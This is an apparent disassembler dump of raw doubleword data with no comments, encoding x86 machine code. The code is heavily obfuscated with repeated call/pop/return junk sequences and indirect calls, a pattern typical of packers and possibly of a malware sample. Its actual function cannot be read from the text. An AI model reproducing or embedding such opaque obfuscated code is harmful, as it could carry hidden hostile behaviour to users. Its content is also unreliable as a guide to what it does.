		dd 0CBB70F51h, 4185C65Ah, 77061E20h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 0B1C35040h,	33298D29h, 0A368061Eh
		dd 6AF397A8h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 16042444h, 46000000h, 16BCC356h, 1CE98146h, 0FF1CED33h
		dd 1E1455B5h, 0AE906h, 9BF30000h, 3DDF672Bh, 62CFF00Eh
		dd 38FA858Dh, 1DBF061Eh, 0FF68FA0Bh, 0B98589D0h, 29061E2Bh
		dd 1E0C79B5h, 4185C606h, 47061E20h, 2779BD8Bh, 8166061Eh
		dd 682DECD1h, 8728FAF6h, 3085B529h, 0B5FF061Eh,	61E02F1h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 1AC35040h
		dd 139D9F76h, 1BA20158h, 0AE8h,	8B3BD600h, 374F8958h, 0F87CF544h
		dd 0CF816659h, 858DBE79h, 61E38FAh, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Ah, 7C35747h, 965AC126h, 0AE9240Ah
		dd 12000000h, 7CF8BAFEh, 32BEF332h, 6AD0FFEDh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 0D092C353h, 600A0A54h, 0F9A4D1C3h, 2AE98589h, 8A0F061Eh
		dd 1Ch,	14E8h, 858BC600h, 5E444AAEh, 0B42AEA3Ah, 4A26063h
		dd 0B576F0DFh, 5961601Eh, 204185C6h, 8943061Eh,	1E1CE5B5h
		dd 6EFC6806h, 8166BC8Eh, 0FFE1E6C9h, 1E02F1B5h,	0FEBF0F06h
		dd 4098589h, 858D061Eh,	61E38FAh, 18BDB589h, 0D0FF061Eh
		dd 89E7E980h, 1E054585h, 0F5958906h, 0C6061E00h, 1E204185h
		dd 8D8B4506h, 61E158Dh,	72696968h, 43C2818Eh, 817BB6B6h
		dd 0EFB65EF2h, 0F1B5FF01h, 66061E02h, 0C475EA81h, 38FA858Dh
		dd 0FFF5061Eh, 0C800FD0h, 0F000000h, 682h, 19BD8B00h, 89061E04h
		dd 1E137585h, 0CA8B5206h, 4185C659h, 44061E20h,	6468D78Bh
		dd 6AB8F2ECh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 15042444h, 43000000h, 0B5DFC353h, 1EA58D09h,	0BD2B061Eh
		dd 61E141Dh, 2F1B5FFh, 6A061Eh,	3E856h,	5E200000h, 74895EC3h
		dd 44810424h, 1A0424h, 56460000h, 5701E7C3h, 95557A8Ah
		dd 0D6B92AB2h, 8D06BF2Bh, 1E38FA85h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 718327EEh
		dd 880Fh, 0D0FF0000h, 8B666050h, 895A61F8h, 1E2B0985h
		dd 65BD0106h, 0C6061E04h, 1E204185h, 6A4306h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 68703CC3h
		dd 0C0764AA7h, 1FE307BFh, 0FBB70F11h, 2F1B5FFh,	0D18B061Eh
		dd 38FA858Dh, 8D0F061Eh, 6, 0A1D8589h, 8B66061Eh, 60D0FFC8h
		dd 0F810Fh, 0AE90000h, 0C8000000h, 20E1714Ch, 917A8E49h
		dd 7CDB81F4h, 611C627Eh, 9DD8589h, 5E9061Eh, 6000000h
		dd 73D3B8F8h, 0FA02BD80h, 0F000620h, 0EE84h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1C04h, 0C3564600h
		dd 1FA8FA26h, 38E1194Eh, 0D3BF0F00h, 0F9E4858Dh, 6A0620h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0D68431C3h, 661F1774h, 0F274E781h, 51006A50h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1C04h, 0C3514100h
		dd 0BB9BA3CEh, 665A310Fh, 11BF6645h, 89016AC7h,	1E059D9Dh
		dd 89006A06h, 1E2975BDh, 8B006A06h, 1E1B51BDh, 6D95FF06h
		dd 6A061E1Eh, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0D592C353h
		dd 9589D80Eh, 61E09B5h,	8318589h, 8B66061Eh, 89FF6AF9h
		dd 1E1581B5h, 31B5FF06h, 89061E08h, 1E2EE995h, 5595FF06h
		dd 0F061E16h, 687h, 0ED958B00h,	8B061E22h, 3DB589C0h, 83061E1Ch
		dd 1E1D79BDh, 9750006h,	2B25BD83h, 7400061Eh, 8B535019h
		dd 7D1B8C0h, 85890000h,	61E0CE9h, 0AC3A9D8Dh, 0D3FF0620h
		dd 0BD83585Bh, 61E2B25h, 50177400h, 7D1B853h, 85890000h
		dd 61E0CE9h, 0A9299D8Dh, 0D3FF0620h, 8D8B585Bh,	61E0961h
		dd 8BD0B70Fh, 3D9D31C0h, 0C6061E2Ah, 1E204185h,	0F2814706h
		dd 29F1F7C2h, 0C8F7C168h, 0BE993h, 0A5320000h, 3D0918FCh
		dd 114B7A08h, 0F1B5FFC9h, 0E9061E02h, 5, 99A681D2h, 0FA858DFBh
		dd 60061E38h, 11E9h, 9B238400h,	0A435DE3Bh, 2C3B319Eh
		dd 3D253766h, 0B58B2D0Ch, 61E2921h, 89D0FF61h, 1E137995h
		dd 0BF665006h, 858D908Eh, 620FE25h, 2BD5BD89h, 0C7061Eh
		dd 94h,	0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h
		dd 0D0C35040h, 0F98B660Dh, 0A58D2358h, 8D061E12h, 20FE25B5h
		dd 56F38A06h, 3840Fh, 0F5800000h, 60D0FFCBh, 0F458589h
		dd 9589061Eh, 61E3171h,	25858D61h, 0F50620FEh, 6047883h
		dd 24850Fh, 0CE80000h, 96000000h, 7FE8B26Dh, 2A939ABh
		dd 0B13CF731h, 85C75FE7h, 620FEB9h, 1, 0D398D8Bh, 0BD83061Eh
		dd 61E1AF5h, 4A850F00h,	8B000000h, 1E1BF995h, 0B9BD8306h
		dd 620FEh, 37850Fh, 85290000h, 61E1429h, 0CB5BD83h, 0F00061Eh
		dd 2484h, 0BD8B6000h, 61E1391h,	30658D8Bh, 0C761061Eh
		dd 1E33B185h, 6, 29953300h, 89061E32h, 1E097185h, 0DB8C6606h
		dd 4C3F6F9h, 648840Fh, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 1A0424h, 57470000h, 23F3CDC3h, 692CD4B8h
		dd 0CCC3F2B9h, 2D85C71Eh, 61E27h, 89000000h, 1E05DD95h
		dd 61BD3106h, 80061E17h, 20FA0FBDh, 850F0006h, 6, 2719BD89h
		dd 85C6061Eh, 61E2041h,	5B866847h, 0FFF8E3E4h, 1E02F1B5h
		dd 0D18D8906h, 8D061E1Ah, 1E38FA85h, 219D8906h,	0FF061E19h
		dd 718589D0h, 68061E2Bh, 104h, 0F11BD31h, 9D8D061Eh, 61E0651h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 0AEC35747h
		dd 0B7CA8157h, 5A560746h, 21999501h, 6A53061Eh,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 0A4F8C353h, 29089A73h, 1E0C959Dh, 6AD0FF06h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 915FC350h, 5DF0CC27h, 0BD162516h, 651858Dh, 10E9061Eh
		dd 4F000000h, 0AB454959h, 0EA0DB52Fh, 3BA2E123h, 8BC7EF67h
		dd 1E13AD95h, 0B5895006h, 61E1E79h, 0F9C1858Dh,	6A0620h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h, 57470000h
		dd 9A895DC3h, 50C88B66h, 2374D181h, 858D2563h, 620F094h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 55C35545h
		dd 0E659A29Fh, 60507D08h, 0CB9DC681h, 0FB864E7h, 6173AC40h
		dd 8D8B5059h, 61E20D9h,	0B995FFF8h, 8B061E2Bh, 1E20A18Dh
		dd 0CC48306h, 151DB529h, 6A061Eh, 8068h, 6A036A00h, 68006A00h
		dd 80000000h, 0F094858Dh, 0FF500620h, 1E054595h, 0A4858906h
		dd 0C60620F9h, 1E204185h, 87684706h, 0FFC7B15Eh, 1E02F1B5h
		dd 0FA858D06h, 0FF061E38h, 0FF006AD0h, 20F9A4B5h, 0FD0FF06h
		dd 381h, 0B6C28000h, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 16h, 22C35242h, 0D03D6A1Bh, 0F000037h, 7F83h
		dd 0F98D0100h, 0E8061E07h, 6, 530E1EC9h, 0E857B238h, 0Ah
		dd 0C4CB9080h, 9F2F35EBh, 595FBF9Ch, 0A4B5FF59h, 0F0620F9h
		dd 0F8Bh, 0AE900h, 0B8990000h, 94684AFAh, 2E570565h, 9DD95FFh
		dd 0E680061Eh, 117E995h, 6A0000h, 3E856h, 5E200000h, 74895EC3h
		dd 44810424h, 170424h, 56460000h, 0FA0AA4C3h, 0EE984h
		dd 0E1870000h, 0F89E4D5Eh, 8901E160h, 0BDDC0C76h, 0F9A4B5FFh
		dd 95FF0620h, 61E09DDh,	9E9h, 32B41B00h, 4A79635Bh, 6AB6D5h
		dd 6AD18Bh, 6A006AF9h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 8063C352h, 6A9EF59Eh
		dd 10E900h, 0E3010000h,	0B4BB82CDh, 9EB5F692h, 93245990h
		dd 5CBA4B87h, 6A479454h, 0D3B70F00h, 0AE9006Ah,	89000000h
		dd 0A7F64422h, 59A86408h, 0A8858D0Ch, 500620F9h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 0F5C35747h, 8B516614h
		dd 1E2CD195h, 95FF5A06h, 61E0545h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 1Ah, 0FFC35141h,	0F4E2CBC6h, 9D899DD2h
		dd 61E3229h, 0FFFF883h,	19585h,	49BD2B00h, 89061E32h, 1E2B65B5h
		dd 18858D06h, 0F0620B1h, 68Ch, 5BD8B00h, 89061E0Fh, 1E330D9Dh
		dd 0BAD0FF06h, 4C2393E3h, 11E9h, 0D6617100h, 66C13A4Fh
		dd 0FDBF7BF2h, 10786099h, 6A18E0h, 0E851006Ah, 3, 59C35920h
		dd 4244C89h, 4244481h, 15h, 0C2C35141h,	0DA81666Eh, 6A095Bh
		dd 0CE9h, 0EBE56300h, 597542B4h, 0F04BBB97h, 6A006AC2h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 14042444h
		dd 42000000h, 8BDAC352h, 1E2B89BDh, 66006A06h, 6AFE8Bh
		dd 10E8h, 3520DD00h, 0D6A6F456h, 15DE1B36h, 0F08240A8h
		dd 958953F3h, 61E26E9h,	6A5A5Fh, 32799D89h, 858D061Eh
		dd 620F9A8h, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h
		dd 1Dh,	0AAC35545h, 86BA24FAh, 83258570h, 0FB8B666Fh, 95FFF950h
		dd 61E0545h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	71C35747h, 7C7D52E2h, 0FB8B6641h, 0FFFF883h, 6985h
		dd 0D78B6600h, 0F3B0B58Dh, 8B660620h, 8A858DC8h, 6606209Fh
		dd 0B589D08Bh, 61E2DCDh, 6060D0FFh, 13E9h, 42DAAC00h, 6CEA4C2Bh
		dd 13D580Fh, 0FCD4C8CDh, 65255B9h, 5320C981h, 5661619Ah
		dd 221E43B9h, 6A615E14h, 0FFFA8B00h, 1E137595h,	0DE806h
		dd 856C0000h, 0C71B45F9h, 239B6B68h, 8BA70DA0h,	1E2B9D8Dh
		dd 85895F06h, 620F9A4h,	8BE68A60h, 1E27218Dh, 6A6106h
		dd 11E9h, 5E93B00h, 1CF9EA23h, 235BF286h, 8D1635E0h, 858D83FEh
		dd 620F99Ch, 92D8D8Bh, 6A50061Eh, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 14042444h, 40000000h, 8184C350h
		dd 95F9CEF2h, 6E91Eh, 0D6980000h, 0D5563420h, 0C0E8EF81h
		dd 46A7EB4h, 3EAEC981h,	958B681Dh, 61E326Dh, 227D858Dh
		dd 50FC061Eh, 6ACB8Bh, 0AE9h, 45552A00h, 60B6DCAFh, 6AC9A0FFh
		dd 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1904h
		dd 0C3524200h, 374A9339h, 16A13D9h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0C6C35040h,	6483EC34h, 3D22D845h
		dd 0ABEDF781h, 0B5FF2142h, 620F9A4h, 0EE9h, 0F9955E00h
		dd 827BB7B5h, 0CE7F25A9h
dword_55FEC0	dd 0FF178BE8h, 1E2B0995h, 0E989B106h, 1BDAh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 22C35242h, 0D344956Bh
		dd 0A9BA09DFh, 0D920B9F8h, 0C08B5996h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 14h, 2AC35747h, 0C618D8Bh, 0BD83061Eh
		dd 61E1D79h, 83097500h,	1E2B25BDh, 19740006h, 0C08B5350h
		dd 7D2B8h, 0E9858900h, 8D061E0Ch, 20AC3A9Dh, 5BD3FF06h
		dd 25BD8358h, 61E2Bh, 53501774h, 7D2B8h, 0E9858900h, 8D061E0Ch
		dd 20A9299Dh, 5BD3FF06h, 0F2816658h, 0C08B65ACh, 7E9h
		dd 0F3795A00h, 0B88AAD2Fh, 272D85C7h, 1061Eh, 95890000h
		dd 61E1E85h, 0E4E7B868h, 9DB5FFCEh, 8D061E1Eh, 1E38FA85h
		dd 89D0FF06h, 1E320985h, 0DBD46806h, 0B5FFC005h, 61E1E9Dh
		dd 38FA858Dh, 0D0FF061Eh, 0E098589h, 858D061Eh,	620EE4Dh
		dd 0F1B5FF50h, 0FF061E02h, 1E319595h, 74C00B06h, 8DD88B0Bh
		dd 20FE0085h, 0D3FF5006h, 0FE00858Dh, 83660620h, 0A750938h
		dd 87D85C7h, 1061Eh, 95FF0000h,	61E2AE9h, 0FF25h, 5F88300h
		dd 85C70A73h, 61E2961h,	1, 0B9B58960h, 61061E20h, 10E9h
		dd 0A4F1B700h, 9BAE441Ah, 2E313BC4h, 5E6A0Fh, 0FBD8030h
		dd 620FAh, 13850Fh, 8D0B0000h, 61E1661h, 31E1958Bh, 5FE9061Eh
		dd 0B200001Ah, 7DBD83F1h, 61E08h, 0FF850Fh, 0BD8B0000h
		dd 61E2341h, 0F9D9858Dh, 0E9800620h, 0BD295028h, 61E1755h
		dd 6A016Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h, 180424h
		dd 56460000h, 8DB3BEC3h, 958BAB39h, 61E29C9h, 6A006Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h
		dd 0C96696C3h, 1A850Fh,	0EE80000h, 6D000000h, 0C82265DBh
		dd 0B7AC843h, 2EA59428h, 758D0BFBh, 5A061E08h, 5B99531h
		dd 6A061Eh, 29E59D89h, 95FF061Eh, 61E1E6Dh, 0FE9h, 53D47D00h
		dd 0BD1A0F5Eh, 6B3C38EDh, 0D49E51DFh, 0FA038589h, 12E80620h
		dd 80000000h, 0C55A1688h, 688E87E0h, 4599C878h,	0FDF12EFBh
		dd 0D18B66ABh, 0D1D1BF5Fh, 0FF6A630Eh, 3830Fh, 0BF0F0000h
		dd 3B5FFFAh, 660620FAh,	0FF49AEB9h, 1E165595h, 13E906h
		dd 0F51E0000h, 9A2E821Eh, 44357E45h, 0A24008F3h, 7DB86224h
		dd 14858DDAh, 8B0620EEh, 1E31B5BDh, 89605006h, 1E2BF98Dh
		dd 3850F06h, 80000000h,	0FF6125C3h, 1E1BD195h, 0BABF6606h
		dd 97D781FAh, 891508EEh, 20EE9E85h, 1BD8B06h, 0B1061E23h
		dd 21858DB5h, 500620EEh, 0EB18589h, 0B5FF061Eh,	620EE9Eh
		dd 9595FFF8h, 0BF061E31h, 6241D7F5h, 0DDD8589h,	6A061Eh
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h, 52420000h
		dd 8B0DDFC3h, 1E099195h, 8F858D06h, 6A0620EEh, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
		dd 299C350h, 880F9EC1h,	0Ch, 7E9h, 317D1900h, 96F0BF58h
		dd 0CD850150h, 0FF061E1Fh, 20EE9EB5h, 9595FF06h, 0F061E31h
		dd 484h, 0D1BF6600h, 0B285894Fh, 8B0620EEh, 1E14CD95h
		dd 6E858D06h, 6A0620EEh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 18042444h, 47000000h, 7AA7C357h, 56882440h
		dd 6A5059h, 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h
		dd 50400000h, 0DAD586C3h, 13DEF1F1h, 89D88493h,	1E1965BDh
		dd 9EB5FF06h, 0E80620EEh, 7, 3D88CD41h,	0F98D2F1h, 58Bh
		dd 0B3C6B900h, 0FF5A7A86h, 1E319595h, 0DA816606h, 0BF6674B3h
		dd 8589B438h, 620EEAAh,	31459589h, 858D061Eh, 620EE61h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 0FC35545h
		dd 0E93C4143h, 5, 760E8BD1h, 0C5BD336Bh, 50061E14h, 0FFCEB70Fh
		dd 20EE9EB5h, 0FFF08A06h, 1E319595h, 0B19D8906h, 66061E16h
		dd 892A8EBFh, 20EEAE85h, 7C858D06h, 810620EEh, 152D01CAh
		dd 9D29507Eh, 61E3045h,	0EE9EB5FFh, 0EE90620h, 0C8000000h
		dd 28B634C0h, 0B4BD2B19h, 8ED918ACh, 0D6B9664Ah, 9595FF0Fh
		dd 0F061E31h, 181h, 8B57F500h, 85895FFAh, 61E2181h, 58C0Fh
		dd 81660000h, 8DDCEDCAh, 20EE3085h, 5E906h, 3BF60000h
		dd 5068EC6Bh, 0CCE18166h, 830F519Dh, 3,	5F35E280h, 0EE9EB5FFh
		dd 0F88B0620h, 319595FFh, 6A061Eh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 170424h, 55450000h, 4AE348C3h, 7E967h, 0C9C90000h
		dd 5711D1A6h, 0A285891Ah, 0FC0620EEh, 8DFAB70Fh, 20EE3F85h
		dd 3860F06h, 80000000h,	8150A9CDh, 4B23D8F7h, 9EB5FF2Dh
		dd 0FF0620EEh, 1E319595h, 89F9F506h, 20EEA685h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1A04h, 0C3554500h
		dd 0C0B9A123h, 3305C0FFh, 1E19C995h, 1046806h, 85290000h
		dd 61E0EB1h, 6880Fh, 0BD230000h, 61E2745h, 0EF36858Dh
		dd 8B660620h, 0D68B50F8h, 0F03A858Dh, 958B0620h, 61E1541h
		dd 9D8D8B50h, 0FF061E01h, 1E1EE595h, 8E906h, 0E1300000h
		dd 4F8345B1h, 0B9663981h, 0C0853FAEh, 9850Fh, 0D5800000h
		dd 8DB589F4h, 80061E30h, 20FA0FBDh, 850F0006h, 57h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 18h, 9CC35646h, 58B89790h
		dd 0E9D18B66h, 15EEh, 0E853006Ah, 3, 5BC35B20h,	4245C89h
		dd 4244481h, 17h, 90C35343h, 0E9770810h, 0Bh, 738EEEAh
		dd 904882A8h, 832581C3h, 1E087DBDh, 850F0006h, 18h, 2B0DB589h
		dd 0BD83061Eh, 620FEB9h, 68840F00h, 66000000h, 30C2E281h
		dd 0EED3858Dh, 8D8B0620h, 61E1299h, 1589E9h, 51006A00h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1904h, 0C3514100h
		dd 0E145DFBFh, 8B6037ACh, 1E0D45B5h, 10E906h, 485A0000h
		dd 0BFBACFD8h, 89021162h, 0AE9646F1h, 8B618995h, 1E29E595h
		dd 11E906h, 0F8600000h,	258DD5BBh, 8DF5617Fh, 20EEBE85h
		dd 50D48A06h, 0DE960h, 8E350000h, 95207DAEh, 0C6C35FABh
		dd 0E8EED2B7h, 0Fh, 859856C1h, 0E0AF595Dh, 0B7B84CC1h
		dd 0F0DD204h, 615ED0BFh, 0EF36858Dh, 0CA810620h, 0BEE5183h
		dd 51006A50h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1604h
		dd 0C3514100h, 5653F94Bh, 0A098D8Bh, 8359061Eh,	1E087DBDh
		dd 840F0006h, 59h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 19h, 0DBC35040h, 49B6272Bh, 0EFD680B4h, 0F05C858Dh
		dd 0DCBF0620h, 0E904F326h, 2Dh,	0E855006Ah, 3, 5DC35D20h
		dd 4246C89h, 4244481h, 1Dh, 2CC35545h, 27793654h, 9C52DBE4h
		dd 45858DE0h, 8A0620F0h, 6A50F3h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 858D46C3h, 620F094h
		dd 319FD181h, 5E94A95h,	27000000h, 1C45B055h, 0FFD68B50h
		dd 1E2BB995h, 8E906h, 2A510000h, 0D6B0F049h, 0C483B7C8h
		dd 50006A10h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1704h
		dd 0C3504000h, 0C93A870Ch, 0EE952h, 9B100000h, 0C62C9B16h
		dd 301A782Ah, 8DAD982Eh, 10E95159h, 7F000000h, 0B6475734h
		dd 38D2D1A9h, 0D22B881Bh, 5F1CBCFAh, 0BD89C08Bh, 61E22D9h
		dd 1D79BD83h, 7500061Eh, 25BD8309h, 61E2Bh, 53501974h
		dd 0D3B8C08Bh, 89000007h, 1E0CE985h, 3A9D8D06h,	0FF0620ACh
		dd 83585BD3h, 1E2B25BDh, 17740006h, 0D3B85350h,	89000007h
		dd 1E0CE985h, 299D8D06h, 0FF0620A9h, 8B585BD3h,	1E32518Dh
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1804h
		dd 0C3524200h, 9751B6BFh, 0F98B6643h, 860FC08Bh, 12h, 0DE9h
		dd 744A3E00h, 25605CABh, 62EF1CF0h, 0BD8173E1h,	620EEBEh
		dd 6165726Fh, 9F840Fh, 958B0000h, 61E0509h, 0EF36858Dh
		dd 8D500620h, 20F07385h, 858D5006h, 620F094h, 0B995FF50h
		dd 83061E2Bh, 85C60CC4h, 61E2041h, 184F6844h, 0B5FF96A3h
		dd 61E02F1h, 38FA858Dh,	0D0FF061Eh, 858DD88Bh, 620F094h
		dd 8DD3FF50h, 20EEBE85h, 858D5006h, 620EF36h, 7DBD8350h
		dd 61E08h, 858D0874h, 620F05Ch,	858D06EBh, 620F045h, 94858D50h
		dd 500620F0h, 2BB995FFh, 0C483061Eh, 50006A10h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1404h,	0C3504000h, 0B6F98BDAh
		dd 0E995FF34h, 66061E2Ah, 4A52F281h, 1E65BD89h,	0FF25061Eh
		dd 6A000000h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 17042444h, 42000000h, 90DDC352h, 0F883C44Eh,	8C830F05h
		dd 6A000000h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 17042444h, 43000000h, 0B1FDC353h, 0F1807409h, 6185C728h
		dd 1061E29h, 6A000000h,	3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 1849C351h, 294273CCh
		dd 1E1E918Dh, 0D1816606h, 858D17FAh, 620EEF2h, 15E98D29h
		dd 0B70F061Eh, 7EE9FEh,	6A0000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 126155C3h, 83D18B66h
		dd 1E087DBDh, 840F0006h, 21h, 0FC6ABA66h, 0EF1D858Dh, 8B660620h
		dd 3EE9D0h, 0AE90000h, 0D3000000h, 5307B92Eh, 4F3E27E3h
		dd 0FF858D92h, 6A0620EEh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 0ACAAC356h,	0F5FCB0B6h
		dd 0C8A86DC4h, 50EB966h, 0EF328589h, 85310620h,	61E140Dh
		dd 87DBD83h, 0F00061Eh,	1985h, 59BD8B00h, 83061E20h, 20FEB9BDh
		dd 840F0006h, 13h, 9999D89h, 27E9061Eh,	0F000011h, 284h
		dd 0E972B200h, 4A3h, 0FE9h, 0EDE7F200h,	0B5D503EAh, 0B4CA603Bh
		dd 893FC5C3h, 0B589C08Bh, 61E1CA9h, 1D79BD83h, 7500061Eh
		dd 25BD8309h, 61E2Bh, 53501974h, 0D4B8C08Bh, 89000007h
		dd 1E0CE985h, 3A9D8D06h, 0FF0620ACh, 83585BD3h,	1E2B25BDh
		dd 17740006h, 0D4B85350h, 89000007h, 1E0CE985h,	299D8D06h
		dd 0FF0620A9h, 0BA585BD3h, 41C9C644h, 8BD78B66h, 35BD89C0h
		dd 68061E29h, 0F003Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 18h, 4BC35141h, 19F5ABDBh,	6A006Ah, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 283E96C3h, 958B1151h, 61E1AF9h, 6A006Ah, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 0E49AD7C3h
		dd 7C1913ECh, 41BD01DDh, 0E9061E1Ah, 7,	0ED04E821h, 0FF3E89D9h
		dd 1E0DDD95h, 0E1816606h, 0C0857D82h, 4850Fh, 0BF660000h
		dd 85893BA5h, 620EEB6h,	1CFD9503h, 8D89061Eh, 61E3179h
		dd 51B1006Ah, 9D89006Ah, 61E2E3Dh, 0BD8B006Ah, 61E335Dh
		dd 0CE9006Ah, 59000000h, 0BE5F3051h, 668BC86h, 6AB01B80h
		dd 0C9953100h, 0E8061E2Bh, 0Ch,	59A5112Fh, 0E5202D67h
		dd 0E043608Ah, 7E8h, 9208C500h,	2EE2B5E2h, 1319531h, 5A5A061Eh
		dd 0F094858Dh, 6A0620h,	3E853h,	5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 3E876C3h, 3880FD3h, 66000000h, 8B50F98Bh
		dd 1E096595h, 66016A06h, 6A0087B9h, 0A59D8901h,	6A061E1Eh
		dd 0C98D8B01h, 68061E25h, 0F01FFh, 87DBD83h, 0F00061Eh
		dd 5F84h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1504h, 0C3564600h, 8D8B36EDh, 61E1AA1h, 16519589h, 858D061Eh
		dd 620EF13h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 17h,	1C35343h, 292CD343h, 1E2DA58Dh,	0CE906h, 840F0000h
		dd 0
		dd 0EEE9858Dh, 89500620h, 1E2BE585h, 0BD8B5006h, 61E1B49h
		dd 0EEB6B5FFh, 6A0620h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 92B9B3C3h, 948E189h, 11E9h, 76085900h
		dd 861ED1BDh, 25A6A51Ch, 0E91BF726h, 95FFBF25h,	620EEA2h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0E5C35141h
		dd 0E88B2BDFh, 0FC085DEh, 2D85h, 33EA8100h, 0E959F17Fh
		dd 6Fh,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 14h
		dd 0D6C35545h, 33018D8Bh, 8589061Eh, 620EEBAh, 7D62F281h
		dd 0B5FF619Ch, 620EEBAh, 0E855006Ah, 3,	5DC35D20h, 4246C89h
		dd 4244481h, 15h, 51C35545h, 1880FF6h, 0FC000000h, 218195FFh
		dd 0BD89061Eh, 61E0CF9h, 850FC085h, 3, 6AD18B66h, 8ECF8110h
		dd 833FC978h, 1E087DBDh, 840F0006h, 1Fh, 8DC88B66h, 20EF1385h
		dd 6820F06h, 8B000000h,	1E02B9BDh, 2AE906h, 0CFBA0000h
		dd 8D09C271h, 20EEE985h, 6E806h, 5EB30000h, 0C3A7876Fh
		dd 0EE9h, 5EC7A100h, 0D976FCDBh, 0D200304Ch, 5FDDA731h
		dd 89B58950h, 0FF061E1Ch, 20EEB6B5h, 5DBD8B06h,	1061E31h
		dd 1E3399BDh, 0AE95FF06h, 8B0620EEh, 1E135D95h,	0FC08506h
		dd 685h, 0F9BD2900h, 89061E07h,	20EEBA85h, 69950906h, 6A061E2Ah
		dd 5DB52900h, 6A061E16h, 0B5FFF500h, 620EEBAh, 174DB589h
		dd 95FF061Eh, 620EEA6h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 8DC35646h, 2DE59D09h,	8D8B061Eh, 61E051Dh
		dd 850FC085h, 3Ah, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 18h, 22C35343h, 675FEF8Fh,	14800Fh, 0E9600000h
		dd 7, 0BF804A82h, 890882E8h, 1E0D69BDh,	0B5FF6106h, 620EEBAh
		dd 12E9h, 2B62C900h, 23E0C1ACh,	944DAC57h, 0C8F215C8h
		dd 8BFC57B3h, 1E2EA5BDh, 8195FF06h, 0F8061E21h,	850FC085h
		dd 23h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h
		dd 8DC35545h, 5C34F6D3h, 6AB9B61Bh, 0AE900h, 44C30000h
		dd 0A7FEC971h, 14CF3280h, 0DE9h, 0BE79AF00h, 54CA00F8h
		dd 0D7025FA4h, 8068FC23h, 0F000000h, 36ACFB7h, 2C01B589h
